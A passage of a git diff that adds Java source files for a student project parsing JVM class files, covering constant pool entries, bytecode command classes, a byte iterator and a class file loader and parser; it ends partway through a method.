+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/NoOperandCmd.java
@@ -0,0 +1,23 @@
+package com.github.HarryHook.coding2017.jvm.cmd;
+
+import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
+import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
+
+public class NoOperandCmd extends ByteCodeCommand{
+
+	public NoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
+	}
+
+	
+	
+	public  int getLength(){
+		return 1;
+	}
+
+}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/OneOperandCmd.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/OneOperandCmd.java
new file mode 100644
index 0000000000..77bf40708b
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/OneOperandCmd.java
@@ -0,0 +1,27 @@
+package com.github.HarryHook.coding2017.jvm.cmd;
+
+import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
+
+public abstract class OneOperandCmd extends ByteCodeCommand {
+
+	private int operand;
+	
+	public OneOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+		
+	}
+	public  int getOperand() {
+		
+		return this.operand;
+	}
+
+	public void setOperand(int oprand1) {
+		this.operand = oprand1;
+		
+	}
+	public  int getLength(){
+		return 2;
+	}
+
+	
+}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/PutFieldCmd.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/PutFieldCmd.java
new file mode 100644
index 0000000000..f3a197114c
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/PutFieldCmd.java
@@ -0,0 +1,19 @@
+package com.github.HarryHook.coding2017.jvm.cmd;
+
+import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
+import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
+
+public class PutFieldCmd extends TwoOperandCmd {
+
+	public PutFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+
+}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/TwoOperandCmd.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/TwoOperandCmd.java
new file mode 100644
index 0000000000..13edc86215
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/TwoOperandCmd.java
@@ -0,0 +1,67 @@
+package com.github.HarryHook.coding2017.jvm.cmd;
+
+import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
+import com.github.HarryHook.coding2017.jvm.constant.ClassInfo;
+import com.github.HarryHook.coding2017.jvm.constant.ConstantInfo;
+import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
+import com.github.HarryHook.coding2017.jvm.constant.FieldRefInfo;
+import com.github.HarryHook.coding2017.jvm.constant.MethodRefInfo;
+
+public abstract class TwoOperandCmd extends ByteCodeCommand{
+	
+	int oprand1 = -1;
+	int oprand2 = -1;
+	
+	public int getOprand1() {
+		return oprand1;
+	}
+
+	public void setOprand1(int oprand1) {
+		this.oprand1 = oprand1;
+	}
+
+	public void setOprand2(int oprand2) {
+		this.oprand2 = oprand2;
+	}
+
+	public int getOprand2() {
+		return oprand2;
+	}
+	
+	public TwoOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+	}
+
+	public int getIndex(){
+		int oprand1 = this.getOprand1();
+		int oprand2 = this.getOprand2();
+		int index = oprand1 << 8 | oprand2;
+		return index;
+	}
+	
+	protected String getOperandAsClassInfo(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
+	}
+	
+	protected String getOperandAsMethod(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ConstantInfo constInfo = this.getConstantInfo(index);
+		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+
+	protected String getOperandAsField(ConstantPool pool){
+		int index = getIndex();
+		
+		String codeTxt = getReadableCodeText();
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+	public  int getLength(){
+		return 3;
+	}
+}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/ClassInfo.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..e4822e2bbb
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/ClassInfo.java
@@ -0,0 +1,32 @@
+package com.github.HarryHook.coding2017.jvm.constant;
+
+public class ClassInfo extends ConstantInfo {
+    private int type = ConstantInfo.CLASS_INFO;
+    private int utf8Index;
+
+    public ClassInfo(ConstantPool pool) {
+	super(pool);
+    }
+
+    public int getUtf8Index() {
+	return utf8Index;
+    }
+
+    public void setUtf8Index(int utf8Index) {
+	this.utf8Index = utf8Index;
+    }
+
+    public int getType() {
+	return type;
+    }
+
+    public String getClassName() {
+	int index = getUtf8Index();
+	UTF8Info utf8Info = (UTF8Info) constantPool.getConstantInfo(index);
+	return utf8Info.getValue();
+    }
+    @Override
+	public void accept(Visitor visitor) {
+		visitor.visitClassInfo(this);		
+	}
+}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/ConstantInfo.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..6c502016a3
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/ConstantInfo.java
@@ -0,0 +1,43 @@
+package com.github.HarryHook.coding2017.jvm.constant;
+
+public abstract class ConstantInfo {
+    public static final int UTF8_INFO = 1;
+    public static final int FLOAT_INFO = 4;
+    public static final int CLASS_INFO = 7;
+    public static final int STRING_INFO = 8;
+    public static final int FIELD_INFO = 9;
+    public static final int METHOD_INFO = 10;
+    public static final int NAME_AND_TYPE_INFO = 12;
+    protected ConstantPool constantPool;
+
+    public ConstantInfo() {
+
+    }
+
+    public ConstantInfo(ConstantPool pool) {
+	this.constantPool = pool;
+    }
+
+    public abstract int getType();
+
+    public ConstantPool getConstantPool() {
+	return constantPool;
+    }
+
+    public ConstantInfo getConstantInfo(int index) {
+	return this.constantPool.getConstantInfo(index);
+    }
+    
+    public abstract void accept(Visitor visitor);
+	
+	public static interface Visitor{
+		public void visitClassInfo(ClassInfo info);
+		public void visitFieldRef(FieldRefInfo info);
+		public void visitMethodRef(MethodRefInfo info);
+		public void visitNameAndType(NameAndTypeInfo info);
+		public void visitString(StringInfo info);
+		public void visistUTF8(UTF8Info info);
+		
+	}
+   
+}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/ConstantPool.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..92d1b381d1
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/ConstantPool.java
@@ -0,0 +1,31 @@
+package com.github.HarryHook.coding2017.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+
+    private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+
+    public ConstantPool() {
+
+    }
+
+    public void addConstantInfo(ConstantInfo info) {
+
+	this.constantInfos.add(info);
+
+    }
+
+    public ConstantInfo getConstantInfo(int index) {
+	return this.constantInfos.get(index);
+    }
+
+    public String getUTF8String(int index) {
+	return ((UTF8Info) this.constantInfos.get(index)).getValue();
+    }
+
+    public int getSize() {
+	return this.constantInfos.size() - 1;
+    }
+}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/FieldRefInfo.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..d2d6a19f90
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,63 @@
+package com.github.HarryHook.coding2017.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo {
+    private int type = ConstantInfo.FIELD_INFO;
+    private int classInfoIndex;
+    private int nameAndTypeIndex;
+
+    public FieldRefInfo(ConstantPool pool) {
+	super(pool);
+    }
+
+    public int getType() {
+	return type;
+    }
+
+    public int getClassInfoIndex() {
+	return classInfoIndex;
+    }
+
+    public void setClassInfoIndex(int classInfoIndex) {
+	this.classInfoIndex = classInfoIndex;
+    }
+
+    public int getNameAndTypeIndex() {
+	return nameAndTypeIndex;
+    }
+
+    public void setNameAndTypeIndex(int nameAndTypeIndex) {
+	this.nameAndTypeIndex = nameAndTypeIndex;
+    }
+
+    public String toString() {
+
+	NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
+
+	return getClassName() + " : " + typeInfo.getName() + ":" + typeInfo.getTypeInfo() + "]";
+    }
+
+    public String getClassName() {
+
+	ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+
+	UTF8Info utf8Info = (UTF8Info) this.getConstantInfo(classInfo.getUtf8Index());
+
+	return utf8Info.getValue();
+
+    }
+
+    public String getFieldName() {
+	NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
+	return typeInfo.getName();
+    }
+
+    public String getFieldType() {
+	NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
+	return typeInfo.getTypeInfo();
+    }
+
+    @Override
+    public void accept(Visitor visitor) {
+	visitor.visitFieldRef(this);
+    }
+}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/MethodRefInfo.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..a1055932a0
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,62 @@
+package com.github.HarryHook.coding2017.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+
+    private int type = ConstantInfo.METHOD_INFO;
+
+    private int classInfoIndex;
+    private int nameAndTypeIndex;
+
+    public MethodRefInfo(ConstantPool pool) {
+	super(pool);
+    }
+
+    public int getType() {
+	return type;
+    }
+
+    public int getClassInfoIndex() {
+	return classInfoIndex;
+    }
+
+    public void setClassInfoIndex(int classInfoIndex) {
+	this.classInfoIndex = classInfoIndex;
+    }
+
+    public int getNameAndTypeIndex() {
+	return nameAndTypeIndex;
+    }
+
+    public void setNameAndTypeIndex(int nameAndTypeIndex) {
+	this.nameAndTypeIndex = nameAndTypeIndex;
+    }
+
+    public String toString() {
+
+	return getClassName() + " : " + this.getMethodName() + " : " + this.getParamAndReturnType();
+    }
+
+    public String getClassName() {
+	ConstantPool pool = this.getConstantPool();
+	ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(this.getClassInfoIndex());
+	return clzInfo.getClassName();
+    }
+
+    public String getMethodName() {
+	ConstantPool pool = this.getConstantPool();
+	NameAndTypeInfo typeInfo = (NameAndTypeInfo) pool.getConstantInfo(this.getNameAndTypeIndex());
+	return typeInfo.getName();
+    }
+
+    public String getParamAndReturnType() {
+	ConstantPool pool = this.getConstantPool();
+	NameAndTypeInfo typeInfo = (NameAndTypeInfo) pool.getConstantInfo(this.getNameAndTypeIndex());
+	return typeInfo.getTypeInfo();
+    }
+
+    @Override
+    public void accept(Visitor visitor) {
+	visitor.visitMethodRef(this);
+    }
+
+}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/NameAndTypeInfo.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..29495489f4
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,54 @@
+package com.github.HarryHook.coding2017.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo {
+    public int type = ConstantInfo.NAME_AND_TYPE_INFO;
+
+    private int index1;
+    private int index2;
+
+    public NameAndTypeInfo(ConstantPool pool) {
+	super(pool);
+    }
+
+    public int getIndex1() {
+	return index1;
+    }
+
+    public void setIndex1(int index1) {
+	this.index1 = index1;
+    }
+
+    public int getIndex2() {
+	return index2;
+    }
+
+    public void setIndex2(int index2) {
+	this.index2 = index2;
+    }
+
+    public int getType() {
+	return type;
+    }
+
+    public String getName() {
+	ConstantPool pool = this.getConstantPool();
+	UTF8Info utf8Info1 = (UTF8Info) pool.getConstantInfo(index1);
+	return utf8Info1.getValue();
+    }
+
+    public String getTypeInfo() {
+	ConstantPool pool = this.getConstantPool();
+	UTF8Info utf8Info2 = (UTF8Info) pool.getConstantInfo(index2);
+	return utf8Info2.getValue();
+    }
+
+    public String toString() {
+	return "(" + getName() + "," + getTypeInfo() + ")";
+    }
+
+    @Override
+    public void accept(Visitor visitor) {
+	visitor.visitNameAndType(this);
+
+    }
+}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/NullConstantInfo.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..b0f5ad9b80
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,19 @@
+package com.github.HarryHook.coding2017.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo {
+
+    public NullConstantInfo() {
+
+    }
+
+    @Override
+    public int getType() {
+	return -1;
+    }
+
+    @Override
+    public void accept(Visitor visitor) {
+
+    }
+
+}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/StringInfo.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..442405aa36
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/StringInfo.java
@@ -0,0 +1,33 @@
+package com.github.HarryHook.coding2017.jvm.constant;
+
+public class StringInfo extends ConstantInfo {
+    private int type = ConstantInfo.STRING_INFO;
+    private int index;
+
+    public StringInfo(ConstantPool pool) {
+	super(pool);
+    }
+
+    public int getType() {
+	return type;
+    }
+
+    public int getIndex() {
+	return index;
+    }
+
+    public void setIndex(int index) {
+	this.index = index;
+    }
+
+    public String toString() {
+	return this.getConstantPool().getUTF8String(index);
+    }
+
+    @Override
+    public void accept(Visitor visitor) {
+	visitor.visitString(this);
+
+    }
+
+}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/UTF8Info.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..5c740bf402
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/UTF8Info.java
@@ -0,0 +1,42 @@
+package com.github.HarryHook.coding2017.jvm.constant;
+
+public class UTF8Info extends ConstantInfo {
+    private int type = ConstantInfo.UTF8_INFO;
+    private int length;
+    private String value;
+
+    public UTF8Info(ConstantPool pool) {
+	super(pool);
+    }
+
+    public int getLength() {
+	return length;
+    }
+
+    public void setLength(int length) {
+	this.length = length;
+    }
+
+    public int getType() {
+	return type;
+    }
+
+    @Override
+    public String toString() {
+	return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value + ")]";
+    }
+
+    public void setValue(String value) {
+	this.value = value;
+    }
+
+    public String getValue() {
+	return value;
+    }
+
+    @Override
+    public void accept(Visitor visitor) {
+	visitor.visistUTF8(this);
+
+    }
+}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/field/Field.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/field/Field.java
new file mode 100644
index 0000000000..9d33d90d96
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/field/Field.java
@@ -0,0 +1,44 @@
+
+package com.github.HarryHook.coding2017.jvm.field;
+
+import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
+import com.github.HarryHook.coding2017.jvm.loader.ByteCodeIterator;
+import com.sun.istack.internal.Pool;
+import com.github.HarryHook.coding2017.jvm.constant.UTF8Info;
+
+public class Field {
+    private int accessFlag;
+    private int nameIndex;
+    private int descriptorIndex;
+
+    private ConstantPool pool;
+
+    public Field(int accessFlag, int nameIndex, int descriptorIndex, ConstantPool pool) {
+
+	this.accessFlag = accessFlag;
+	this.nameIndex = nameIndex;
+	this.descriptorIndex = descriptorIndex;
+	this.pool = pool;
+    }
+
+    public static Field parse(ConstantPool pool, ByteCodeIterator iter) {
+	int accessFlag = iter.nextU2ToInt();
+	int nameIndex = iter.nextU2ToInt();
+	int descriptorIndex = iter.nextU2ToInt();
+	int attributesCount = iter.nextU2ToInt();
+	System.out.println("field attributes Count: " + attributesCount);
+	Field f = new Field(accessFlag, nameIndex, descriptorIndex, pool);
+	if(attributesCount > 0) {
+	    throw new RuntimeException("Field has not complemented attribute");
+	}
+	return f;
+    }
+    
+    public String toString() {
+	String name = ((UTF8Info) pool.getConstantInfo(this.nameIndex)).getValue();
+	String desc = ((UTF8Info) pool.getConstantInfo(this.descriptorIndex)).getValue();
+	return name +":" + desc;
+    }
+    
+
+}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/loader/ByteCodeIterator.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..b773b6b584
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,58 @@
+package com.github.HarryHook.coding2017.jvm.loader;
+
+import java.util.Arrays;
+
+import com.github.HarryHook.coding2017.jvm.util.Util;
+
+public class ByteCodeIterator {
+    byte[] codes;
+    int pos = 0;
+
+    public ByteCodeIterator(byte[] codes) {
+	this.codes = codes;
+    }
+
+    public byte[] getByte(int len) {
+	if (pos + len > codes.length) {
+	    throw new ArrayIndexOutOfBoundsException();
+	}
+	byte[] data = Arrays.copyOfRange(codes, pos, pos + len);
+	pos += len;
+	return data;
+    }
+
+    public String nextU4ToHexString() {
+
+	return Util.byteToHexString(new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] });
+    }
+
+    public int nextU1ToInt() {
+
+	return Util.byteToInt(new byte[] { codes[pos++] });
+    }
+
+    public int nextU2ToInt() {
+
+	return Util.byteToInt(new byte[] { codes[pos++], codes[pos++] });
+    }
+
+    public int nextU4ToInt() {
+
+	return Util.byteToInt(new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] });
+    }
+
+    public String nextUxToHexString(int len) {
+	byte[] tmp = new byte[len];
+
+	for (int i = 0; i < len; i++) {
+	    tmp[i] = codes[pos++];
+	}
+	return Util.byteToHexString(tmp).toLowerCase();
+
+    }
+
+    public void back(int n) {
+	this.pos -= n;
+    }
+
+}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/loader/ClassFileLoader.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..2f2c9c4345
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,92 @@
+package com.github.HarryHook.coding2017.jvm.loader;
+
+import java.io.BufferedInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
+
+
+
+public class ClassFileLoader {
+
+    private List<String> clzPaths = new ArrayList<String>();
+
+    public byte[] readBinaryCode(String className) {
+	className = className.replace('.', File.separatorChar) + ".class";
+	for(String path : this.clzPaths) {
+	    String clzFileName = path + File.separatorChar + className;
+	    byte[] codes = loadClassFile(clzFileName);
+	    if(codes != null) {
+		return codes;
+	    }
+	}
+	return null;
+    }
+    private byte[] loadClassFile(String clzFileName) {
+	BufferedInputStream bis = null;
+	try {
+	    File f = new File(clzFileName);
+	    bis = new BufferedInputStream(new FileInputStream(f));
+	    ByteArrayOutputStream out = new ByteArrayOutputStream(1024);
+
+	    byte[] buffer = new byte[1024];
+	    int length = 0;
+	    while ((length = bis.read(buffer)) != -1) {
+		out.write(buffer, 0, length);
+	    }
+	    return out.toByteArray();
+	} catch (IOException e) {
+	    e.printStackTrace();
+	} finally {
+	    if (bis != null) {
+		try {
+		    bis.close();
+		} catch (IOException e) {
+		    e.printStackTrace();
+		}
+	    }
+	}
+	return null;
+    }
+    public void addClassPath(String path) {
+	if (this.clzPaths.contains(path)) {
+	    return ;
+	}
+	this.clzPaths.add(path);
+    }
+
+    public String getClassPath() {
+
+	StringBuilder buffer = new StringBuilder();
+
+	for (int i = 0; i < clzPaths.size(); i++) {
+
+	    buffer.append(clzPaths.get(i));
+	    if (i < clzPaths.size() - 1) {
+		buffer.append(";");
+	    }
+	}
+	return buffer.toString();
+    }
+
+    public ClassFile loadClass(String className) {
+	byte[] codes = this.readBinaryCode(className);
+	ClassFileParser parser = new ClassFileParser();
+	return parser.parse(codes);
+	
+    }
+    public static void main(String[] args) {
+	ClassFile clzFile = null;
+	ClassFileLoader loader = new ClassFileLoader();
+	String path1 = "F:\\Coding2017\\group02\\727171008\\bin";
+	loader.addClassPath(path1);
+	String className = "com.github.HarryHook.coding2017.jvm.test.EmployeeV1";
+	clzFile = loader.loadClass(className);
+	clzFile.print();
+    }
+   
+}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/loader/ClassFileParser.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..40608823e9
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/loader/ClassFileParser.java
@@ -0,0 +1,151 @@
+package com.github.HarryHook.coding2017.jvm.loader;
+
+import java.io.UnsupportedEncodingException;
+
+
+import com.github.HarryHook.coding2017.jvm.clz.AccessFlag;
+import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
+import com.github.HarryHook.coding2017.jvm.clz.ClassIndex;
+import com.github.HarryHook.coding2017.jvm.constant.ClassInfo;
+import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
+import com.github.HarryHook.coding2017.jvm.constant.FieldRefInfo;
+import com.github.HarryHook.coding2017.jvm.constant.MethodRefInfo;
+import com.github.HarryHook.coding2017.jvm.constant.NameAndTypeInfo;
+import com.github.HarryHook.coding2017.jvm.constant.NullConstantInfo;
+import com.github.HarryHook.coding2017.jvm.constant.StringInfo;
+import com.github.HarryHook.coding2017.jvm.constant.UTF8Info;
+import com.github.HarryHook.coding2017.jvm.field.Field;
+import com.github.HarryHook.coding2017.jvm.method.Method;
+
+public class ClassFileParser {
+
+    public ClassFile parse(byte[] codes) {
+
+	ClassFile clzFile = new ClassFile();
+	ByteCodeIterator iter = new ByteCodeIterator(codes);
+	String magicNumber = iter.nextU4ToHexString();
+	if (!"cafebabe".equals(magicNumber)) {
+	    return null;
+	}
+
+	clzFile.setMinorVersion(iter.nextU2ToInt());
+	clzFile.setMajorVersion(iter.nextU2ToInt());
+
+	ConstantPool pool = parseConstantPool(iter);
+	clzFile.setConstantPool(pool);
+
+	AccessFlag flag = parseAccessFlag(iter);
+	clzFile.setAccessFlag(flag);
+	
+	ClassIndex clzIndex = parseClassIndex(iter);
+	clzFile.setClzIndex(clzIndex);
+	
+	parseInterfaces(iter);
+	
+	parseField(clzFile, iter);
+	
+	parseMethod(clzFile, iter);
+	return clzFile;
+    }
+
+    private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+	
+	AccessFlag flag = new AccessFlag(iter.nextU2ToInt());
+	return flag;
+    }
+
+    private ClassIndex parseClassIndex(ByteCodeIterator iter) {
+	
+	int thisClassIndex = iter.nextU2ToInt();
+	int superClassIndex = iter.nextU2ToInt();
+	ClassIndex clzIndex = new ClassIndex();
+	clzIndex.setThisClassIndex(thisClassIndex);
+	clzIndex.setSuperClassIndex(superClassIndex);
+
+	return clzIndex;
+
+    }
+
+    private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+	int constPoolCount = iter.nextU2ToInt();
+	System.out.println("const Pool Count : " + constPoolCount);
+	ConstantPool pool = new ConstantPool();
+	pool.addConstantInfo(new NullConstantInfo());
+	for (int i = 1; i <= constPoolCount - 1; i++) {
+	    int tag = iter.nextU1ToInt();
+	    if (tag == 7) {
+		// Class Info
+		int utf8Index = iter.nextU2ToInt();
+		ClassInfo clzInfo = new ClassInfo(pool);
+		clzInfo.setUtf8Index(utf8Index);
+		pool.addConstantInfo(clzInfo);
+	    } else if (tag == 1) {
+		// UTF8 String
+		int len = iter.nextU2ToInt();
+		byte[] data = iter.getByte(len);
+		String value = null;
+		try {
+		    value = new String(data, "UTF-8");
+		} catch (UnsupportedEncodingException e) {
+		    e.printStackTrace();
+
+		}
+		UTF8Info utf8Str = new UTF8Info(pool);
+		utf8Str.setLength(len);
+		utf8Str.setValue(value);
+		pool.addConstantInfo(utf8Str);
+	    } else if (tag == 8) {
+		StringInfo info = new StringInfo(pool);
+		info.setIndex(iter.nextU2ToInt());
+		pool.addConstantInfo(info);
+	    } else if (tag == 9) {
+		FieldRefInfo field = new FieldRefInfo(pool);
+		field.setClassInfoIndex(iter.nextU2ToInt());
+		field.setNameAndTypeIndex(iter.nextU2ToInt());
+		pool.addConstantInfo(field);
+	    } else if (tag == 10) {
+		MethodRefInfo method = new MethodRefInfo(pool);
+		method.setClassInfoIndex(iter.nextU2ToInt());
+		method.setNameAndTypeIndex(iter.nextU2ToInt());
+		pool.addConstantInfo(method);
+	    } else if (tag == 12) {
+		NameAndTypeInfo nameType = new NameAndTypeInfo(pool);
+		nameType.setIndex1(iter.nextU2ToInt());
+		nameType.setIndex2(iter.nextU2ToInt());
+		pool.addConstantInfo(nameType);
+	    } else {
+		throw new RuntimeException("the constant pool tag" + tag + "has not complemented");
+	    }
+
+	}
+	System.out.println("Finished reading Constant Pool ");
+	
+	return pool;
+    }
+    private void parseInterfaces(ByteCodeIterator iter) {
+	int interfaceCount = iter.nextU2ToInt();
+
+	System.out.println("interfaceCount:" + interfaceCount);
+
+	// TODO : 如果实现了interface, 这里需要解析
+    }
+    
+    private void parseField(ClassFile clzFile, ByteCodeIterator iter){
+	int fieldCount = iter.nextU2ToInt();
+	for(int i=1; i<=fieldCount; i++) {
+	    Field f = Field.parse(clzFile.getConstantPool(), iter);
+	    clzFile.addField(f);
+	    
+	}
+    }
+    
+    private void parseMethod(ClassFile clzFile, ByteCodeIterator iter){
+	int methodCount = iter.nextU2ToInt();
+	for(int i=1; i<=methodCount; i++) {
+	    Method m = Method.parse(clzFile, iter);
+	    clzFile.addMethod(m);
+	}
+    }
+
+
+}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/method/Method.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/method/Method.java
new file mode 100644
index 0000000000..08b8ff029b
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/method/Method.java
@@ -0,0 +1,87 @@
+
+package com.github.HarryHook.coding2017.jvm.method;
+
+import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
+import com.github.HarryHook.coding2017.jvm.cmd.ByteCodeCommand;
+
+import javax.management.RuntimeErrorException;
+
+import com.github.HarryHook.coding2017.jvm.attr.AttributeInfo;
+import com.github.HarryHook.coding2017.jvm.attr.CodeAttr;
+import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
+import com.github.HarryHook.coding2017.jvm.constant.UTF8Info;
+import com.github.HarryHook.coding2017.jvm.loader.ByteCodeIterator;
+
+public class Method {
+
+    private int accessFlag;
+    private int nameIndex;
+    private int descriptorIndex;
+
+    private CodeAttr codeAttr;
+
+    private ClassFile clzFile;
+
+    public ClassFile getClzFile() {
+	return clzFile;
+    }
+
+    public int getNameIndex() {
+	return nameIndex;
+    }
+
+    public int getDescriptorIndex() {
+	return descriptorIndex;
+    }
+
+    public CodeAttr getCodeAttr() {
+	return codeAttr;
+    }
+
+    public void setCodeAttr(CodeAttr code) {
+	this.codeAttr = code;
+    }
+
+    public Method(ClassFile clzFile, int accessFlag, int nameIndex, int descriptorIndex) {
+	this.clzFile = clzFile;
+	this.accessFlag = accessFlag;
+	this.nameIndex = nameIndex;
+	this.descriptorIndex = descriptorIndex;
+    }
+
+    public static Method parse(ClassFile clzFile, ByteCodeIterator iter) {
+	int accessFlag = iter.nextU2ToInt();
+	int nameIndex = iter.nextU2ToInt();
+	int descriptorIndex = iter.nextU2ToInt();
+	int attributeCount = iter.nextU2ToInt();
+	
+	Method m = new Method(clzFile, accessFlag, nameIndex, descriptorIndex);
+	
+	for(int i=1; i<=attributeCount; i++) {
+	    int attrNameIndex = iter.nextU2ToInt();
+	    String attrName = clzFile.getConstantPool().getUTF8String(attrNameIndex);
+	    iter.back(2);
+	    
+	    if(AttributeInfo.CODE.equalsIgnoreCase(attrName)) {
